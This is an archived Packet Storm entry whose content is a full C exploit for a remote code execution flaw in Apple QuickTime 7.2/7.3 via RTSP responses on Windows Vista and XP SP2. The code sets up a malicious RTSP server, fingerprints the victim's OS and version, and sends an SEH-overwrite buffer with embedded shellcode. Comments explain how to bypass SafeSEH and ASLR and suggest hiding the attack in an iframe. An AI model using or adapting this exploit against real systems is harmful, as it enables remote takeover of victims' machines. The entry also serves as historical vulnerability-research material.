aquick-rstp.txt

2007-11-27T00:00:00
ID PACKETSTORM:61217
Type packetstorm
Reporter InTeL
Modified 2007-11-27T00:00:00

Description

                                        
                                            `/*  
=============================================================  
Apple Quicktime (Vista/XP RSTP Response) Remote Code Exec  
=============================================================  
Discovered by: h07  
Author: InTeL  
*Tested on:  
- Quicktime 7.3 on Windows Vista, Result: SEH Overwrite, Code Exec  
- Quicktime 7.2 on Windows Vista, Result: SEH Overwrite. Code Exec  
  
- Quicktime 7.3 on Windows XP Pro SP2, Result: SEH Overwrite, Code Exec  
- Quicktime 7.2 on Windows XP Pro SP2, Result: SEH Overwrite, Code Exec  
  
  
Notes:  
[*] On Vista the QuickTimePlayer and the .gtx modules dont have ASLR enabled, NO RANDOMIZATION :)  
[*]All the 7.3 and 7.2 DLL modules are SafeSEH enabled, except for the .gtx modules, that is how u bypass the SEH   
Restrictions in XP and in Vista!! so we use Addys from there.  
[*]There are ALOT of filtered characters so choose your shellcode wisely or you will run into Access Violations  
Since I didnt feel like wasting my time going through all the filtered Characters, go through it yourself.  
- Here are some \x4b, \x59, \x79  
[*]I did hit my shellcode but b/c i havent gone through all the filtered characters i got an Access Violation  
in the shellcode  
[*]Can be easily modified to keep accepting clients with a lil modding, do it yourself u noobs  
  
[***]Here is an example of how to embed a streaming the quicktime redirection to the RTSP exploit.  
http://quicktime.tc.columbia.edu/users/iml/movies/mtest.html  
cough use w/ an iframe cough  
  
Shoutz: UIA, u kno who u ppl are  
*/  
  
  
#include <winsock2.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#pragma comment(lib,"wsock32.lib")  
  
int info();  
  
#define port 554  
  
char header_part1[] =   
"RTSP/1.0 200 OK\r\n"  
"CSeq: 1\r\n"  
"Date: 0x00 :P\r\n"  
"Content-Base: rtsp://0.0.0.0/1.mp3/\r\n"  
"Content-Type: ";  
  
char header_part2[] =  
"Content-Length: ";  
  
char body[] =   
"v=0\r\n"  
"o=- 16689332712 1 IN IP4 0.0.0.0\r\n"   
"s=MPEG-1 or 2 Audio, streamed by the PoC Exploit\r\n"   
"i=1.mp3\r\n" "t=0 0\r\n"   
"a=tool:ciamciaramcia\r\n"   
"a=type:broadcast\r\n"   
"a=control:*\r\n"   
"a=range:npt=0-213.077\r\n"   
"a=x-qt-text-nam:MPEG-1 or 2 Audio, streamed by the PoC Exploit \r\n"   
"a=x-qt-text-inf:1.mp3\r\n"   
"m=audio 0 RTP/AVP 14\r\n"   
"c=IN IP4 0.0.0.0\r\n"   
"a=control:track1\r\n";   
  
//Place Your Shellcode here but keep the name  
char scode[] =  
"\xfc\xbb\x9a\x15\x38\x92\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3\x85"  
"\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x66\xfd\x7c\x92\x96\xfe\xf7"  
"\xd7\xaa\x75\x7b\xdd\xaa\x88\x6b\x56\x05\x93\xf8\x36\xb9\xa2\x15"  
"\x81\x32\x90\x62\x13\xaa\xe8\xb4\x8d\x9e\x8f\xf5\xda\xd9\x4e\x3f"  
"\x2f\xe4\x92\x2b\xc4\xdd\x46\x88\x21\x54\x82\x5b\x76\xb2\x4d\xb7"  
"\xef\x31\x41\x0c\x7b\x1a\x46\x93\x90\x2f\x6a\x18\x67\xc4\x1a\x42"  
"\x4c\x1e\xde\x4a\x4c\x7a\x6b\xec\x7c\x07\xab\x95\x70\x8c\x6c\x6a"  
"\x02\xe2\x70\xdf\x9f\x6a\x81\xf4\xa9\xe1\x11\xba\xaa\xf5\x11\x30"  
"\xc2\xc9\x4e\x77\xe5\x51\x27\xfe\xf1\x12\x07\x7b\x52\x7c\x78\xf6"  
"\x56\x23\x10\x9f\xa9\x51\xee\xc8\xaa\x82\x9d\x93\x33\x29\x06\x35"  
"\xc8\x9f\xa3\xbd\x55\xdf\x2b\x3e\x96\xdf\x2b\x3e\x96";  
  
  
int main(int argc, char *argv[])  
{  
char evilbuf[5200], recvbuf[512];  
char *strptr = NULL;  
char contentlength[] = "327";  
int i, pos;  
struct sockaddr_in saddr;  
WSADATA wsaData;  
SOCKET sock, vicsock;  
  
info();  
if(WSAStartup(MAKEWORD(2,2), &wsaData) != 0){  
printf("Unable to initialize Winsock \n");  
exit(1);  
}  
  
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {  
printf("Socket Error \n");  
WSACleanup();  
exit(1);  
}  
  
memset(&saddr, 0, sizeof(saddr));  
saddr.sin_family = AF_INET;  
saddr.sin_addr.s_addr = INADDR_ANY;   
saddr.sin_port = htons(port);  
  
if (bind(sock, (struct sockaddr *)&saddr, sizeof(saddr)) == SOCKET_ERROR) {  
printf("Bind Error \r\n");  
closesocket(sock);  
WSACleanup();  
exit(1);  
}  
  
if((listen(sock, SOMAXCONN)) == SOCKET_ERROR) {  
printf("Listen Error \r\n");   
closesocket(sock);  
WSACleanup();  
exit(1);  
}  
printf("[+] Listening on port: %d\r\n", port);  
if((vicsock = accept(sock, NULL, NULL)) != INVALID_SOCKET) {  
  
printf("[+]Victim Connected \r\n");   
memset(recvbuf,0,sizeof(recvbuf));  
recv(vicsock, recvbuf, 512, 0);  
  
memset(evilbuf, '\0', sizeof(evilbuf));  
strcpy(evilbuf, header_part1);  
  
/*Identify Operating System - Goes Through Vista, XP and is able to detect Service Patchs so mod at will*/  
  
if((strptr =strstr(recvbuf, "6.0")) != NULL) {// Vista  
strptr = NULL;  
  
if((strptr =strstr(recvbuf, "7.3")) != NULL) {  
printf("Victim is running Vista and QKTime Version 7.3\r\n");  
pos = strlen(header_part1);  
for(i = 1; i<=991;i++) {  
evilbuf[pos] = 'A';  
pos++;  
}  
strcat(evilbuf, "\xeb\x32\x90\x90");  
strcat(evilbuf, "\x54\x49\x64\x67"); //pop ebx-pop-retbis in QuickTimeStreaming.gtx  
pos += 8;  
}  
else {  
strptr = NULL;  
if((strptr =strstr(recvbuf, "7.2")) != NULL) {  
printf("Victim is running Vista and QKTime Version 7.2\r\n");  
pos = strlen(header_part1);  
for(i = 1; i<=987;i++) {  
evilbuf[pos] = 'A';  
pos++;  
}  
strcat(evilbuf, "\xeb\x32\x90\x90");  
strcat(evilbuf, "\xb4\x45\x59\x67");//pop ebx-pop-retbis in QuickTimeStreaming.gtx  
pos += 8;  
}  
}  
}  
else { //Win XP SP2  
strptr = NULL;  
if((strptr = strstr(recvbuf, "5.1")) != NULL) {   
strptr = NULL;  
if((strptr =strstr(recvbuf, "Pack 2")) != NULL) {  
strptr = NULL;  
if((strptr =strstr(recvbuf, "7.3")) != NULL) {  
printf("Victim is running XP SP2 and QKTime Version 7.3\r\n");  
pos = strlen(header_part1);  
for(i = 1; i<=991;i++) {  
evilbuf[pos] = 'A';  
pos++;  
}  
strcat(evilbuf, "\xeb\x32\x90\x90");  
strcat(evilbuf, "\x54\x49\x64\x67"); //pop ebx-pop-retbis in QuickTimeStreaming.gtx  
pos += 8;  
}  
else{   
strptr = NULL;  
if((strptr =strstr(recvbuf, "7.2")) != NULL) {  
printf("Victim is running XP SP2 and QKTime Version 7.2\r\n");  
pos = strlen(header_part1);  
for(i = 1; i<=987;i++) {  
evilbuf[pos] = 'A';  
pos++;  
}   
strcat(evilbuf, "\xeb\x32\x90\x90");  
strcat(evilbuf, "\xb4\x45\x59\x67");//pop ebx-pop-retbis in QuickTimeStreaming.gtx  
pos += 8;  
}  
}  
}  
}  
else {  
printf("[-] Not a Valid Target, Shutting Down");  
closesocket(vicsock);  
closesocket(sock);  
WSACleanup();  
exit(1);  
}  
}  
  
for(i=0; i<200;i++) {  
evilbuf[pos] = '\x90';  
pos++;  
}  
for(i=0; i<strlen(scode);i++){  
evilbuf[pos] = scode[i];  
pos++;  
}  
int rest = 4096-(200+strlen(scode));  
for(i=0; i<rest;i++) {  
evilbuf[pos] = '\x90';  
pos++;  
}  
  
  
strcat(evilbuf, "\r\n");  
pos +=2;  
for(i = 0; i<sizeof(header_part2);i++) {  
evilbuf[pos] = header_part2[i];  
pos++;  
}  
strcat(evilbuf, contentlength);  
strcat(evilbuf, "\r\n");  
Sleep(1);  
strcat(evilbuf, "\r\n");  
pos +=8;  
strcat(evilbuf, body);  
printf("%s", evilbuf);  
  
printf("[+] Evil Packet Generated \r\n");  
if(send(vicsock, evilbuf, strlen(evilbuf), 0) != SOCKET_ERROR)  
printf("[+] Evil Packet Sent \r\n");   
else   
printf("[-] Evil Packet Sending Failed \r\n");  
  
closesocket(vicsock);  
closesocket(sock);  
WSACleanup();  
}  
else {  
printf("Accept failed");  
closesocket(sock);  
WSACleanup();  
}  
return 0;  
}  
  
  
int info()  
{  
printf("[+]Apple Quicktime (Vista/XP Sp2 RTSP RESPONSE) Code Exec Exploit\r\n");  
printf("[+]Author: InTeL\r\n");  
printf("[+]Tested on:\r\n\t- Quicktime 7.3 on Windows Vista, Result: SEH Overwrite, Code Exec\r\n\t- Quicktime 7.2 on Windows Vista, Result: SEH Overwrite. Code Exec\r\n\t- Quicktime 7.3 on Windows XP Pro SP2, Result: SEH Overwrite, Code Exec\r\n\t- Quicktime 7.2 on Windows XP Pro SP2, Result: SEH Overwrite, Code Exec\r\n");  
printf("[+]Shout to: UIA, you kno who u ppl are\r\n\r\n");  
  
return 0;  
}  
  
  
`